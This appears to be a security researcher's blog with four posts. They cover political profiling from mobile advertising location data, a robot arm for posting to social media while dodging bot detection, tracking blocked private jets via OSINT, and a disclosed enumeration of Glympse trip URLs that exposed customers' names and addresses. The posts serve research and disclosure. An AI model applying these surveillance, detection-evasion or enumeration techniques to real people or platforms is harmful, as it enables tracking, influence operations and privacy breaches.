DFWORKS | Online Threat Mitigation

Winning Elections with MAID data

Tue, 25 Feb 2025 12:00:00 GMT

Introduction

Having worked in intelligence, both in a government and private capacity, several recent articles have piqued my interest around Mobile Advertising IDs (MAIDs) and bidstream data. A recurring theme in the articles below (which are well worth reading) is that private intelligence agencies are widely leveraging bidstream data for what is essentially global surveillance.

Bidstream data seems to be widely used by private intelligence agencies, but its use, unless I’m severely out of the loop, appears to be more prevalent in the US, where there are fewer regulatory hurdles. In contrast, UK privacy laws like GDPR make handling such datasets significantly more risky. The legal and ethical concerns surrounding bidstream data are well-documented elsewhere, but I want to take a practical look at how the aggregation and analysis of this data amplifies risks, making it even more dangerous than some may realise.

Mobile Advertising ID (MAID) data has typically been seen as a tool for targeted advertising, but its aggregation and analysis raise significant concerns. Large datasets enable the tracking of individuals, the inference of behaviors, and even the modeling of political affiliations. The modeling presented in this article is basic, probabilistic, and significantly reduced in complexity to demonstrate ‘the art of the possible’. It aims to demonstrate that with access to more data and greater resources, intelligence agencies or major tech companies could develop highly sophisticated models capable of achieving far more precise and nuanced outcomes.

Understanding MAID and Bidstream Data

Mobile Advertising IDs are persistent but resettable alphanumeric identifiers assigned to mobile devices. They were initially designed to enable advertisers to track user behavior without relying on directly identifiable information such as phone numbers or email addresses. In theory, this allows for targeted advertising while maintaining user anonymity.

However, in practice, a thriving industry has emerged around the collection, enrichment, and resale of MAIDs. Marketing firms, data brokers, and advertisers routinely compile extensive lists of MAIDs, supplementing them with additional details - ranging from basic identifiers like names and emails to more invasive data such as social media profiles, precise GPS locations, and consumer behaviour insights. As a result, what was once an anonymous identifier has become a powerful tool for tracking individuals over time.

Bidstream data originates from the real-time bidding (RTB) process, a system used in digital advertising where ad space is auctioned off in milliseconds before a webpage or app loads. For example, when you visit an article on The Sun, you might notice a grey space around the content that gets filled with an ad a second or two later. In that brief moment, information about your device is sent into an automated auction, where advertisers use complex algorithms to decide if you fit their target audience and, if so, place a bid to display their advert.

This data exchange is largely invisible to users, yet it occurs every time an ad-supported app is used or a website with programmatic advertising is visited. Many common apps, including weather, fitness, and social networking apps, collect and transmit MAID data as part of this ecosystem. The issue is that this data is often shared openly, allowing not only advertisers but also virtually anyone involved in the ad-tech supply chain, such as data brokers and intelligence firms, to observe the auction and aggregate the data without actually placing any bids.

The Fallacy of Privacy Settings in Mobile Advertising

While MAIDs and bidstream data are technically anonymised, their sheer richness makes de-anonymisation trivial. Movement patterns, repeated locations, and app usage can quickly reveal the identity of a person, even without a name attached. Investigations into bidstream datasets have demonstrated that it is possible to establish precise movement profiles of individuals, highlighting where they live, work, and spend their leisure time.

The potential for abuse is significant. Intelligence agencies, corporate entities, and even malicious actors can leverage bidstream data to monitor individuals, track dissidents, or infer political affiliations. Even when users opt out of tracking, there are often alternative device identifiers (such as IFV, device IDs, or app-specific identifiers) that can be exploited for cross-app tracking, further eroding the illusion of privacy controls.

Beyond traditional ad-tracking mechanisms, many apps transmit unexpected data points such as screen brightness, battery levels, and motion sensor data. These seemingly minor signals, when analysed in context alongside OSINT methods, can provide valuable insights into user behaviour. Researcher Tim (tim.sh) has suggested that Uber may use battery level data to influence ride pricing. The theory is that users with lower battery levels are more likely to accept surge pricing, as they may fear their phone dying before they can request another ride. While Uber has denied this practice, it highlights how seemingly inconsequential data points can be monetised

Warrantless Surveillance and the Use of Bidstream Data in Investigations

Babel Street and its subsidiary, Atlas, have leveraged MAID data to conduct location-based tracking of individuals near sensitive locations, including mosques, courtrooms, and abortion clinics. This data, typically sourced from mobile applications, allows for near real-time geolocation monitoring without the need for direct user consent or judicial authorisation.

A particularly concerning instance of this practice involved investigators using MAID data to track jurors in a New Jersey courtroom. By analysing the location signals from mobile devices, investigators were able to determine not only the presence of jurors at the courthouse but also their movements before and after trial proceedings. This level of surveillance raises significant ethical and legal concerns, as it could be used to exert undue influence, monitor private behavior, or compromise the integrity of judicial processes. The primary legal concern surrounding the use of MAID data in this manner is the lack of regulatory oversight. Unlike traditional surveillance techniques, which require warrants or legal justification, MAID-based tracking is often conducted without scrutiny. Anybody can purchase such data from third-party vendors for around £10,000.

The tracking of individuals near religious sites, medical facilities, and legal institutions raises civil liberties concerns, particularly regarding privacy rights and potential discrimination. The ability to monitor individuals based on their location near a mosque, for instance, could enable religious profiling, while tracking individuals near abortion clinics in US states where it has been outlawed could be used to intimidate or target those seeking medical care.

Without clear regulatory safeguards, the commercial availability of MAID data enables extensive surveillance capabilities with minimal accountability. Experts with more knowledge of this subject matter than I have called urgently for legislative intervention to establish stricter controls on how location data is collected, sold, and used by both private entities and government agencies.

Synthetic Data Generation

Accessing authentic MAID data in the UK is prohibitively expensive and fraught with legal complications, effectively rendering it off-limits for research or experimentation. Therefore, I created a synthetic dataset designed to mimic real-world patterns. Although this synthetic data is almost certainly markedly different from actual MAID/bidstream data, it still incorporates similar fields and exhibits enough variability and randomness to facilitate basic modelling and illustrate privacy concerns.

For those interested in the underlying methodology, the code used to build this dataset is available here. Developed using actual locations in Stockport, UK, it facilitates the random (with constraints) simulation of user movements and interactions within a realistic urban setting.

To simulate realistic usage, fictional device personas are assigned based on common lifestyle behaviors. These personas dictate movement patterns and interactions with locations, as an example a user may be:

Foodie - Frequently visits restaurants, cafés, and food markets.
Pub-goer - Spends evenings at bars and pubs, often making late-night movements.
Commuter - Follows a structured daily route between home and work locations.
Shopper - Regularly visits retail areas and shopping centers.
Smoker - Pauses at convenience stores and designated smoking areas

Each persona follows a probabilistic movement model, meaning that their routines include both predictable behaviors (e.g., a commuter heading to work at 8 AM) and spontaneous deviations (e.g., stopping at a café). By incorporating stochastic elements, the dataset better reflects real-world unpredictability.

The dataset is generated through a multi-step simulation process:

Geo-Spatial Mapping - A map of Stockport is enriched with open source business and land use data from overpass turbo, including points of interest (e.g., restaurants, cafes, businesses).
Device Seeding - Synthetic devices are distributed across residential areas, with each assigned a job, favourite locations and a persona.
Movement Simulation - Devices interact with amenities, workplaces, and transit routes, following realistic daily schedules. Variations are introduced to account for weekends, holidays, and unexpected detours.
Bidstream Data Emulation - The synthetic devices generate timestamped location pings from fictional applications (social media, weather app, dating app), replicating the kind of data observed in real MAID datasets. This includes signal frequency variations, dwell times, and movement speed to prevent artificial uniformity.

By leveraging realistic user segmentation and geospatial modeling, this synthetic dataset enables experimentation with bidstream mechanics, ad targeting simulations, and behavioral analysis, all while avoiding the legal and ethical concerns tied to real-world MAID data usage.

Demonstrating the Predictive Power of Bidstream Data

Before diving into modelling, we can first explore some basic patterns within the dataset. These images show how location data clusters, how individual movement patterns emerge, and how co-location analysis can hint at relationships between devices.

The first visualisation is a map displaying all data points in the dataset, revealing key clusters around residential areas, workplaces, and common travel routes. Since this dataset is based on real locations in Stockport, UK, we would expect to see concentrations near transport links, shopping areas, and hospitality venues which is mirrored in our fictional data.

Next, we examine the movement patterns of a single device over time. This visualisation highlights:

Primary locations such as home, workplace, and frequent leisure spots.
Preferred routes for commuting, errands, or social activities.
Temporal habits, indicating when this individual is most likely to be in specific areas.

This type of pattern of life analysis is valuable for understanding user routines, potential deviations, and broader behavioral trends that could be leveraged for targeted advertising, surveillance, or predictive modeling.

By identifying instances where two or more devices consistently appear in the same locations at similar times, we can infer potential relationships. If this co-location occurs in a residential setting, it may suggest cohabitation, such as roommates or family members. If the overlap happens at public amenities, it could indicate social connections, such as friendships or dating relationships.

By mapping these overlapping location patterns, we can infer:

Shared residences (devices returning to the same address each night).
Regular joint activities (frequenting the same venues or traveling together).
Possible workplace connections (devices present at the same office or worksite).

While this is a simple demonstration, at scale, such methods could be used for network analysis, law enforcement investigations, or commercial audience segmentation.

The above map shows two devices colocating at a Farm Cafe and in a residential area, it would be reasonable to assume that the owners of these devices have a relationship of some sort.

Behavioural Profiling

At present, our raw bidstream data is structured as follows:

While real-world bidstream data purchased from brokers often contains a far richer set of attributes, our synthetic dataset serves as an approximation of the kind of sensitive information being shared. It includes timestamped latitude/longitude coordinates, device IDs (which, in this case, act as a proxy for MAIDs), and app data which would more often than not be found in programmatic advertising bidstreams. This simplified version still demonstrates the potential risks associated with such data, even without the full breadth of fields available in commercial datasets.

As previously discussed, there are companies that offer MAID data enriched with PII, allowing direct linkage between device activity and individual users. However, even without direct PII access, those familiar with OSINT (Open Source Intelligence) methodologies will recognise that public records can be leveraged to approximate device ownership.

For example:

Residential Identification: By cross-referencing observed home locations with publicly available property records, electoral rolls, or tenancy databases, one can infer probable owners or tenants of a given residential address.
Workplace Identification: Similarly, using lat/lon coordinates observed during working hours, we can reverse engineer workplaces by matching frequent locations to known business addresses.

This approach effectively converts anonymous geospatial data into actionable intelligence, bridging the gap between digital footprints and real-world identities. While this process does not provide a definitive link between a MAID and a specific individual, it significantly narrows the field of potential owners, making re-identification highly feasible when combined with other datasets.

Using just the fields in our synthetic data, we can begin to profile individual devices and infer characteristics about their likely owners. While this is a simplified model, it illustrates how even basic bidstream data can reveal sensitive personal attributes, raising concerns about how such data can be exploited when combined with additional sources.

Some examples of inferences that can be drawn from movement patterns and app interactions include:

Occupation & Income Level:
- Work location and commuting patterns can distinguish between blue-collar and white-collar roles.
- The types of retail and leisure locations visited can suggest approximate disposable income (e.g., high-end retailers vs. discount stores).
Health Indicators: -Frequent visits to pharmacies, clinics, or hospitals may indicate chronic health conditions.
- Fast food consumption patterns, fitness tracker usage, or presence at gyms could suggest dietary habits and exercise routines.
- Regular visits to e-cigarette shops or tobacco stores could indicate smoking habits.
Age Estimation:
- Dating app usage, social media behavior, and visits to nightclubs or youth-centric venues can suggest younger demographics.
- Conversely, regular attendance at locations associated with senior services, medical centers, or quieter suburban amenities may indicate an older demographic.
Religious & Ethnic Affiliation:
- Visits to places of worship (churches, mosques, temples, synagogues) can reveal religious beliefs.
- Certain grocery stores, restaurants, or cultural centers may provide proxies for ethnic background, particularly in areas with strong community ties.

With even a basic dataset, one can begin to infer political inclinations based on lifestyle, income, and demographic factors. While these are broad statistical generalisations rather than precise classifications, they demonstrate how a more sophisticated analysis could refine these assumptions:

Income Level & Ideology:
- Lower-income households are often more likely to support liberal policies due to their stance on social welfare and taxation.
- Higher-income households may lean conservative based on fiscal priorities and tax incentives.
Age & Political Views:
- Younger individuals tend to lean more progressive, aligning with policies on climate change, social justice, and economic reform.
- Older demographics generally show more conservative voting patterns, particularly on economic and social stability issues.
Occupation & Ideology:
- Blue-collar workers may lean conservative, influenced by economic policies favoring job security and trade protections.
- White-collar professionals, particularly in urban settings, are often more liberal, favoring globalisation, tech policies, and corporate regulations.
Marital Status & Political Preference:
- Single individuals tend to lean more liberal, aligning with policies on social issues, housing affordability, and worker rights.
- Married couples are more likely to lean conservative, with a focus on economic stability, family policies, and tax benefits.

Political modelling

While these estimates are inherently probabilistic, drawing on broad trends in social science and political research, even approximate models of behavior can be pivotal in tightly contested elections with millions of participants. In the UK, where campaign spending is capped, ensuring a high probability that adverts or videos reach the most likely swing voters is essential. With access to greater computational resources and enriched datasets, companies could refine these models to a remarkable degree.

Building on these assumptions, we can model our fictional dataset to rank devices along a spectrum from most conservative to most liberal. By associating behavioral indicators with ideological tendencies, we can construct a rough ideological map of our simulated population. The ability to identify and target swing voters has been critical in U.S. elections and played a major role in the operations of firms like Cambridge Analytica, whose core offering revolved around identifying and influencing undecided or persuadable voters.

According to our model, the most conservative device in our dataset belongs to an individual who exhibits a set of behaviors traditionally associated with right-leaning views. This person appears to be an older, presumably married man with a routine that includes regular church attendance and frequent visits to a designated smoking area. His employment at a car garage, combined with spending patterns indicative of a lower income bracket, further aligns with demographic groups often linked to conservative voting tendencies. While our dataset is synthetic and lacks real-world verification, these markers provide a useful proxy for mapping ideological leanings.

At the opposite end of the spectrum, our most liberal device appears to be associated with a younger female living in a house of multiple occupancy. Her location and movement data suggest employment at a pilates studio, and she regularly engages with both a dating app and a fitness application. These behaviors, coupled with her urban lifestyle and flexible work patterns, align with characteristics often associated with left-leaning political preferences. While individual ideology is far more nuanced than any model can fully capture, the broad trends in our synthetic dataset reflect real-world correlations found in political and social research.

Focusing on the middle 10% of our ideological spectrum, we can identify a subset of devices representing potential swing voters. By mapping their home locations, we can visualise geographic clusters where political persuasion is more fluid. In a real-world scenario, these areas would be of particular interest to political campaigns, as small shifts in voter sentiment within these regions could be decisive in a closely contested election. The ability to target advertising and messaging to these individuals with high precision underscores why even probabilistic models of behavior hold significant strategic value.

Conclusion

The analysis presented here, while based on a synthetic dataset, demonstrates just how revealing bidstream and MAID data can be when aggregated and analysed at scale. Even with a basic probabilistic model, we can infer broad ideological leanings, identify swing voters, and simulate how political campaigns, intelligence agencies, or commercial entities might exploit such data for targeted influence. When applied to real-world datasets, where enriched personal information is often available, the potential for invasive tracking and manipulation becomes even more alarming.

The UK’s regulatory framework, particularly GDPR, places legal obstacles in the way of widespread bidstream exploitation. However, legal restrictions do not always deter those with the resources and intent to operate in legal grey areas. The sheer volume of location data circulating in the advertising ecosystem makes it highly susceptible to misuse, whether by political operatives seeking to influence election outcomes, private intelligence firms conducting mass surveillance, or malicious actors engaging in coercion and profiling.

This article has aimed to provide a practical look at how seemingly harmless individual bidstream events can be transformed into a powerful surveillance tool. As regulatory scrutiny lags behind the rapid evolution of ad-tech and data brokerage, the implications for privacy, democracy, and civil liberties remain profound.

If nothing else, this should serve as a stark reminder: when you see an ad pop up on your phone, you may not just be a potential customer, you may also be a data point in a far larger, more intricate system of influence and surveillance.

Calibrating a 3D Printed Delta Arm for Screen Interaction

Thu, 24 Oct 2024 12:00:00 GMT

Introduction

The battle between disinformation spreaders, propagandists, and automated social media activity, and the algorithms designed to detect and control them, is an ongoing arms race. While many expect it should be easy to distinguish human behaviour from bots, the reality is much more complex and challenging.

Through my research on forums like BlackHatWorld, I gained insight into how bot farmers and trolls evade detection. Techniques such as hex editing chromedriver to alter browser fingerprints and using device farms for physical and virtual automation at scale illustrate some tactics taken to influence at scale while avoiding detection. These findings led me to explore whether emulating human behaviour with robotics could offer an alternative and cost-effective solution for device automation at scale.

This article details my effort to convincingly and affordably emulate human like operation of a device, rather than just simulating application-level activity. Hiring real humans for such tasks is almost certainly prohibitively expensive (unless you’re Saudi Arabia), so affordable orchestration of human-like activity could facilitate large-scale influence operations or the countering of disinformation without the financial strain of hiring content creators.

The Tapsterbot: Components and Setup

Tapsterbot is a 3D printable delta arm developed by Jason Huggins, the creator of Selenium. I understand that his current venture, Tapster.io, is a robotics company working on more sophisticated delta arms and other forms of human-like manipulation for app testing which is definitely worth checking out!

The Tapsterbot project’s GitHub page provides the 3D printing files and a Bill of Materials (BOM) needed to build a delta arm for approximately £70 (assuming you have a printer), along with the software required to control it.

I won’t go into too much detail as I’ll be repeating what is available on Github but here are some extra resources I relied on to build the delta arm. 1 2 3

The key components of the Tapsterbot include:

Motors: Three Hitec HS-311 servo motors, combined with some advanced trigonometric and kinematic mathematics that I don’t fully grasp, allow the delta arm to move effortlessly through three-dimensional space.
Arduino Microcontroller: The Arduino controls the motors based on input commands, translating them into physical movements of the delta arm.
3D Printed Delta Arm: The core structure of the Tapsterbot consists of a top plate suspended above a bottom plate, with an arm made of rods and magnets. A stylus is then inserted into the delta arm ‘hand’.

To control the Tapsterbot’s delta arm, commands must be sent to the Arduino, which then translates them into motor movements. This is done using a Node.js server, the main ‘go’ function in the server takes in a user supplied set of coordinates entered in the terminal, handles the complicated maths and then moves the servos.

go = function(x, y, z, easeType) {
  var pointB = [x, y, z];
  
  if (easeType == "none") {
    moveServosTo(pointB[0], pointB[1], pointB[2]);
    return; // Ensures that it doesn't move twice
  } else if (!easeType) {
    easeType = defaultEaseType; // If no easeType is specified, go with default (specified in config.js)
  }

  // motion.move(current, pointB, steps, easeType, delay);
  var points = motion.getPoints(current, pointB, steps, easeType);

  for (var i = 0; i < points.length; i++) {
    setTimeout(function(point) {
      moveServosTo(point[0], point[1], point[2]);
    }, i * delay, points[i]);
  }
}

The moveServosTo function calculates the angles for three servos to reach a specified position (x, y, z) by first reflecting and rotating the input coordinates, then applying inverse kinematics to determine the appropriate servo angles. It maps these angles to the specific input-output range of each servo based on their configuration settings, commands the servos to move to these positions, and logs the calculated angles for monitoring purposes.

Mapping UI elements to delta arm position

One article was particularly useful in helping map UI elements to the delta arm’s position. It recommended using a mobile app to display the coordinates of a finger or stylus on the screen. This task was relatively simple and printed the coordinates on an Android device when a touch event was detected.

The article describes a calibration routine that involves collecting two points on the screen. Assuming a consistent z-axis (up and down relative to the phone screen), it explains how these points can be used to determine every other coordinate on the screen through two-dimensional transformations.

This approach didn’t work for me. I’m uncertain whether the issue was due to inconsistencies in my Tapsterbot build, such as slightly bent or unevenly sized arms, or whether the mathematics involved were too complex to be reduced to single plane calculation. Regardless, I encountered inaccuracies, particularly at the edges of the screen, which prevented Appium instructions from being accurately translated into the correct delta arm positions.

The next step in addressing the challenges involved a more intricate calibration process. Initially, the corners of the screen’s coordinates were determined manually by moving the delta arm to each extremity.

From there, a more automated approach was developed. Using the node server, the delta arm was programmatically guided to trace a grid pattern across the screen. This grid mapped the relationship between the delta arm’s movements and the corresponding points on the screen.

By connecting to the device via ADB (Android Debug Bridge), the stylus positions were recorded at each point along the grid. This process allowed approximately 100 unique screen positions to be mapped to 100 corresponding delta arm positions.

After the initial grid mapping, a period of experimentation with various algorithms was conducted to identify the most precise way to represent the relationship between the delta arm’s movements and the screen coordinates. The aim was to ensure the delta arm could achieve a high enough level of accuracy to replicate typing actions in Appium using the on-screen keyboard, making these interactions consistent and reliable on the actual device.

Once a suitable algorithm was selected, the next step was to configure Appium to send commands that could convert screen instructions into delta arm positions, enabling the arm to type on the device. I modified Appium to integrate with the delta arm server, adding a command line flag to specify the server’s address.

When this flag is provided, Appium redirects all gesture commands, which would typically go to the automation API, to the robot server through a REST API call. The server then translates these commands into delta arm movements, allowing the robot to perform the actions, such as typing, and reports the results back to Appium. This setup ensured seamless(-ish!) conversion of screen interactions into precise physical gestures executed by the delta arm.

Despite some occasional erratic movements—which were difficult to diagnose and troubleshoot—the system was largely successful. The delta arm could reliably type and interact with a wide range of social media platforms, effectively replicating typical user behaviours such as tapping, scrolling, and typing text. During this project I experimented with the use of a “fire and forget” approach for interacting with the device - sending instrucions without the feedback bridge enabled by ADB. While it is possible to maintain a constant connection between Appium and the device via ADB, allowing real-time feedback on the delta arm’s movements, I suspected that, depending on the application’s permissions, detecting ADB activity could be relatively easy.

Since ADB is often associated with automation or testing environments, certain apps might use this detection as a signal that automation is in play, which could trigger defensive measures, such as limiting functionality or altering the user interface. This would undermine the goal of mimicking natural human interactions undetected.

While this approach was feasible, it became problematic with longer chains of interactions. For instance, when trying to type multiple social media posts or perform extended sequences of actions, the system’s reliability diminished. To maintain accuracy, it was necessary to begin each task from a known starting point, such as restarting the app or resetting the device to a specific screen. This allowed the delta arm to execute a single set of instructions without accumulating errors from previous interactions.

I will hopefully find time for future experimentation, I suspect a solution for handling more complex interactions will involve using two devices. One device would remain connected to ADB, actively browsing social media applications and identifying posts to interact with. This device could leverage a language model (LLM) or similar AI to generate appropriate responses to posts. The second device—isolated from ADB to avoid detection—would be operated by the delta arm, executing the actual posting of the generated content.

This setup could address the limitations of the current “fire and forget” approach by separating the content generation and interaction tasks. The ADB-connected device could handle the intelligence-heavy operations, such as parsing social media content, analysing sentiment, and determining the context for responding. Meanwhile, the non-bridged delta arm device would focus solely on the manual task of typing and posting, (hopefully) maintaining a lower profile by avoiding ADB activity that might be detected by the app. It would also be possible to randomise or replicate the time between button presses or the trajectory of a drag across the screen if these actions were detectable.

In conclusion, while the challenges in developing an affordable system to automate social media interactions, at scale, using delta arms are significant, they don’t feel insurmountable. However, I lack the expertise to determine whether this approach would successfully evade detection over a longer period. Scaling the process to operate with 5, 10, or even 100 delta arms could significantly reduce the barrier to entry for conducting semi-sophisticated influence operations without relying heavily on human labour. This approach could unlock new possibilities for managing information dissemination and efficiently countering disinformation.

OSINT for understanding blocked HNWI plane activity

Mon, 08 Jan 2024 12:00:00 GMT

Introduction

During an Open Source Intelligence (OSINT) investigation, there are occasions when tracking an aircraft associated with a particular individual or corporation becomes necessary. This tracking is made possible through flight data provided by platforms like RadarBox or FlightRadar. These services access data from ADS-B nodes (ground stations monitoring aircraft radar signals) and display the trajectories and routes of various aircraft. Nonetheless, it’s not uncommon to find that data pertaining to specific planes is missing from these platforms. Often, this omission stems from legal demands made by High-Net-Worth-Individuals (HNWIs) prioritising their privacy, although it’s also a common practice for military or government flight information to be excluded from these datasets.

This article analyses 275 aircraft that fit this criteria, featuring in RadarBox’s blocked list. Utilising a dataset derived from a Google dork query, this analysis focuses on the 2023 flight paths of these aircraft, while also exploring ownership, co-location and other interesting trends.

Background

Aircraft tracking has been made possible by the advent of ADS-B which has been increasingly adopted in different jurisdictions since since the late 2000’s. This system, which relies on aircraft broadcasting their location, speed, and other data, has been a game-changer for both aviation professionals and enthusiasts. Websites like RadarBox and FlightTracker have capitalised on this technology to provide real-time tracking of aircraft around the globe. As mentioned, the data available on these platforms can sometimes be incomplete for various reasons, including legal aggression, especially from individuals or entities keen on keeping their travel details confidential.

ADSbexchange stands out as a unique player in the flight data market, and is the resource used to complete this study. It is a network of hobbyists and enthusiasts who share a passion for aircraft tracking. This community-driven approach has fostered a more resilient ethos and the platform is less prone to censorship or removal requests, making it a great OSINT resource.

The significance of flight data, both its accessibility and the efforts made to conceal it, is underscored in the financial trading sector. Traders have been known to leverage such information to forecast mergers and acquisitions. Analysis of these flights and their frequencies, especially to locations known for hosting corporate negotiations or legal consultations, can afford early insights into possible market-shifting events.

Google Dork

The Google Dork query site:radarbox.com “This aircraft is present on our blocked aircraft list” was used as a starting point for the investigation. A Google Dork is a search technique that employs specific search strings to unearth information which might otherwise not rank highly in search engine results. In this case, the query is tailored to search within the domain of RadarBox for a specific phrase: “This aircraft is present on our blocked aircraft list”.

What this query does is pinpoint the exact pages on RadarBox where aircraft are listed as ‘blocked’. These blocked listings are significant because they often relate to aircraft where flight details are deliberately concealed. These aircraft web pages were used to compile a dataset with the hope of identifying interesting patterns, such as frequent travel to certain destinations or co-location with other blocked aircraft.

Initial Analysis

As you might expect, patterns emerging from initial analysis are indicative of typical private aircraft use, particularly when considering the types of aircraft and their respective destinations. These patterns offer a glimpse into the travel habits and preferences of HNWIs.

The dataset reveals a diverse range of aircraft manufacturers. However, certain brands stand out, indicating a preference for specific manufacturers known for their prestige.

Analysis of plane models within the dataset shows that high-end models, such as the Bombardier Global series, feature prominently. These models are renowned for their range and comfort aligning with the travel needs and expectations of HNWIs.

The countries of registration for these aircraft also tell a story. Certain jurisdictions may be favoured due to favourable tax regimes or privacy laws, which are factors often considered by affluent individuals and corporations.

A significant portion of these aircraft are held by LLCs, LTDs, and Inc entities. This trend in ownership structure is indicative of attempts to manage privacy, liability, and sometimes, to leverage financial benefits. The complexity of these structures can often mirror the intricate financial and legal arrangements typical of HNWI affairs.

Co-location Analysis

Below is a co-location matrix showing how often different pairs of aircraft were co-located throughout 2023.

The matrix’s substantial co-location primarily stems from the frequent use of major airports like London, Dubai, and Washington, which is evident from the abundance of green and yellow on the chart. This kind of analysis can be valuable for identifying patterns in the movements of HNWIs, as well as their potential business and personal connections, should you try and recreate something similar for your own investigation.

To identify airports exhibiting anomalous spikes in activity, I analysed variations in yearly traffic patterns. This approach highlighted Hong Kong International Airport, which displayed a notable surge in activity around March 2023, indicating a period of unusual busyness.

During the unusual activity period at Hong Kong, the aircaft were exclusively leased or hired private jets, as opposed to private planes owned by HNWIs. To maintain privacy and avoid unintentionally doxxing, details about the real/beneficial owners or lessees of the aircraft have not been disclosed. However, those familiar with OSINT will recognise the potential value of exploring corporate records and social media intelligence to ascertain the identities of individuals travelling on aircraft within a given timeframe. While a detailed discussion of these methods is beyond the scope of this article, numerous online resources are available for those interested in learning more.

The spike in activity at Hong Kong airport does coincide with Hong Kong Art Basel, a prestigious event in the world of contemporary art. Art Basel, a series of international art fairs held annually in Hong Kong, Basel, and Miami, showcases a wide array of modern and contemporary artworks from established and emerging artists, presented by leading galleries. This event has become a magnet for billionaires and art connoisseurs due to its reputation as a hub for significant art transactions and networking opportunities. The fair is not only a platform for buying and selling high-value artworks but also serves as a cultural and social gathering, attracting a global audience that includes collectors, museum directors, curators, and art enthusiasts. As a result, it’s a key event on the social calendars of the wealthy, often leading to an increase in private jet traffic to the host cities during these fairs. While correlation is not causation, there is a realistic possibility that the spike in HNWI air traffic is related.

So What?

The act of removing or blocking flight data from public tracking sites is a double-edged sword. On one hand, it serves the legitimate interest of providing privacy for HNWIs and corporations. However, this very act of concealment can sometimes draw more attention, paradoxically highlighting the individuals or entities as subjects of interest.

The tracking and public dissemination of flight data also bring to the forefront concerns about the security and privacy of individuals. There is a fine line between public interest and invasion of privacy, and the potential for misuse of this data for malicious purposes cannot be overlooked. Legal approaches to the removal of data are effective and worthwhile but when they can be circumvented by aggregation elsewhere HNWIs should consider engaging OSINT experts to supplement legal strategies.

Feel free to reach out if you have any questions, I can be found on Twitter, Reddit and LinkedIn.

Please also check out my other OSINT project ReversePP, a planning application aggregator.

I know what pizza you ordered!

Fri, 10 Mar 2023 12:00:00 GMT

Glympse is a journey sharing and location tracking application that helps either individual users or enterprise partners with deliveries and other trips. The Glympse website suggests that their userbase includes over 200k+ mobile worker devices, over 30M+ consumer devices and the Glympse android app has had around 5 million downloads.

On any given day, primarily in the United States, Glympse shares the exact routes of many individuals as well as delivery information, package details, driver information and whatever other information or metadata their enterprise partners wish to attach to their trips. Understandably, this information makes life easier for drivers as well as package recipients.

As you can imagine, much of this information is intended to be private and was given to Glympse (or an enterprise partner) on the understanding that it would be adequately protected and not publicly available. If these protections are not in place then there is potential that this information, either aggregated or in isolation, could be hugely useful to a social engineer or competitor. I think a phishing email containing real delivery and package information would be very convincing! I’m less confident that Pizza Hut would like to know Papa John’s most popular pizza, but you never know!

The Application

For the individual user, the UI is fairly simple and what you might expect of an application of this kind.

This image was taken from Glympse’s website and as you can see there isn’t anything hugely compromising and only a first name is available. You have a start location, an end location, a route and some timing information. In this instance, “Monica” is walking to the Seattle Space Needle and it is going to take her about 11 minutes. All useful information she might share with a friend she is meeting (Monica is a dummy account just in case you were wondering).

However, here is another example. I have hidden the last name, profile image and exact end location but you can see how this is potentially more problematic (the link is no longer live before you try!). Identifying an individual who has ended their trip at a home address (or residential location) is a breach of privacy and this information starts to become useful to criminals - if not cyberattackers then at the very least opportunistic burglars!

The eagle-eyed amongst you might see where this is going.

The URL (https://glympse.com/0HG4-HX6J) has a fairly short unique identifier appended on the end. 0HG4-HX6J has 9 characters and uses uppercase, special and numerical characters.

By way of comparison, most online sharefile software that generate random URLs often have upwards of 20 characters; inclusive of uppercase, lowercase, numbers and special characters (Aj5ye&hsk8Pq@3Hh%#3Q), which is many magnitudes harder to brute force or guess.

Using a Python script to generate alphanumerical codes 9 characters in length, and check if they are valid by firing an HTTP request to Glympse was initially sluggish. Even though it is a comparatively short URL ID there are still around 2 * 10^16 combinations to get through – slow progress if you need to remain below the threshold of any potential rate limiters.

However, after playing around with the app I identified a pattern! All the URL suffixes started with a zero, had a hyphen as the 5th character and no other special charachters which reduces the combination space significantly (to approximately 9 * 10^10).

A few tweaks to the Python script and it was possible to harvest thousands of valid URLs in just a few hours. This included many trips where the Glympse application had been white labelled by their enterprise partners!

Papa John’s

Many of the URLs which resolved to a trip were Papa John’s pizza deliveries. The HTTP response included information about with which items had been ordered, an address and in some responses, a name and telephone number (unclear if that is the driver or the recipient). There was also the option to leave a review for some of the trips which could potentially be abused if it is available for people other than the customer (Pizza Hut sponsored data pollution attack??)

Pottery Barn

Some of the URLs resolved to Pottery Barn deliveries. The data which could be captured from HTTP responses included addresses, recipient first and last names and the time of delivery. As discussed, specific information like this could be used in a convincing phishing attack. In the European Union this information would also be considered personal information under GDPR.

Tru Green

Some of the URLs resolved to scheduled lawn maintenance jobs. The data which could be captured from HTTP response included addresses and the time of the scheduled work.

Origin Energy

Times and locations of LPG pickups and exchanges were available. Customer numbers in the HTTP response could be used on the origin website to apply for delivery rescheduling. I didn’t attempt to reschedule but the cost of heating in the UK has gone up since I first came across this information at the end of 2021!

The Fix

I wouldn’t classify this a bug or a security flaw, per se, but these were the recommndations I initially passed to Glympse when I privately disclosed it to them on 19th December 2021. These are also factors to consider should you be involved developing an app that is sharing information via a dynamically generated URL.

Consider more aggressive rate limiting and banning IP addresses which are querying multiple different trips. Difficult when most mobile devices are behind CG-NAT.
If there isn’t a monitoring solution in place for the trips endpoint, consider using one. Again, CG-NAT devices makes identifying patterns of abuse more difficult.
To protect future URLs increase the URL suffix complexity by increasing the length and/or including upper/lower/special characters.
Consider removing personally identifiable information from the front end as well as any other superfluous data.

Disclosure

I have been in contact with the Glympse Team since December 2021 assisting them with their fix and my attack is now not possible thanks to improvements that Glympse have made! Some of you may think that the fix took a while to implement and that data was exposed for too long but I understand that Glympse has a relatively small team and I was informed by members of the C-Suite that this fix was prioritised ahead of fee earning activity.

Dec 2021 — Research conducted and private disclosure made.
Jan 2022 — Well thought out initial response from Glympse. There were some other un-noteworthy minor findings in the viewer data flow including some publicly facing credentials in the browser app that were passed to the backend but these were intended to work as placeholders and used for logging and monitoring purposes. The URL suffix complexity was described as a larger effort, primarily due to the variety of external integrations and backwards compatibility concerns. I also turned down an offer to sign an NDA as it didn’t feel quite right before a fix was in place!
Feb to Mar 2022 — Further discussions about rate limiting, CG-NAT, URL complexity, eliminating superfluous data and possibly password protecting trips (a decision Glympse decided against).
Apr 2022 — Gentle nudge suggesting that < 3 months to apply a fix when personal information is publicly available is a benchmark to strive for.
May to Jun 2022 — Glympse became a little non-responsive but I understand this was due to engineers and C-Suite holidays.
Jul 2022 — Fix complete for individual users of the Glympse application but they wanted to wait until a large portion of their users downloaded the new latest version otherwise the fix would break the application.
